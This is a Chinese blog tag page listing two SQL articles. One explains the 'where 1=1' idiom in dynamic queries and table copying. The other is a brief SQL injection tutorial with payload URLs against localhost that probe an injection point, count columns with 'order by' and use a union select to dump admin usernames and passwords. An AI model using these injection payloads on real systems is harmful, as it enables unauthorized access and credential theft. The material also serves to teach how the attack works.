网站首页 包含标签 SQL 的所有文章

  • SQL 语句中 where 条件后 写上 1=1 是什么意思!

    程序员在编程过程中,经常会在代码中使用到“where 1=1”,这是为什么呢? 这段代码应该是由程序(例如Java)中生成的,where条件中 1=1 之后的条件是通过 if 块动态变化的。 例如 String sql="select * from table_name  where 1=1"; if( conditon 1) {   sql=sql+"  and  var2=value2"; } if(conditon 2) {   sql=sql+"  and var3=value3"; } where 1=1 是为了避免where 关键字后面的第一个词直接就是 “and”而导致语法错误。 动态SQL中连接AND条件 where 1=1 是为了避免where 关键字后面的第一个词直接就是 “and”而导致语法错误。 where后面总要有语句,加上了1=1后就可以保证语法不会出错! select * from table where 1=1 因为table中根本就没有名称为1的字段,所以该SQL等效于select * from table, 这个SQL语句很明显是全表扫描,需要大量的IO操作,数据量越大越慢, 建议查询时增加必输项,即where 1=1后面追加一些常用的必选条件,并且将这些必选条件建立适当的索引,效率会大大提高 拷贝表 create table  table_name   as   select   *   from   Source_table   where   1=1; 复制表结构 create table  table_name   as   select   *   from   Source_table   where   1 <> 1; 所以在查询时,where1=1的后面需要增加其它条件,并且给这些条件建立适当的索引,效率就会大大提高。...

    2021-04-06 754
  • SQL注入语法

    1.判断有无注入点: http://127.0.0.1/index.asp?id=1 and 1=1 http://127.0.0.1/index.asp?id=1 and 1=2 http://127.0.0.1/index.asp?id=1′ 2.猜字段数: http://127.0.0.1/index.asp?id=1 order by 字段数 例如: http://127.0.0.1/?id=index.asp? order by 11 http://127.0.0.1/?id=index.asp? order by 12 order by 11页面显示正常 order by 12 页面报错所以字段为11 3.暴露管理员用户、密码: http://127.0.0.1/index.asp?id=1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin 1、在链接后面添加语句【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】,页面显示数字为2和3 2、在链接后面添加语句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即可暴露管理员用户名和密码 http://127.0.0.1/index.asp?id=1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin 3、到此,即可知道管理员用户名:admin和密码:123456 >>>比较老的一种sql注入.大佬勿喷...

    2019-06-26 767

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:9:00-23:00,节假日休息

扫码关注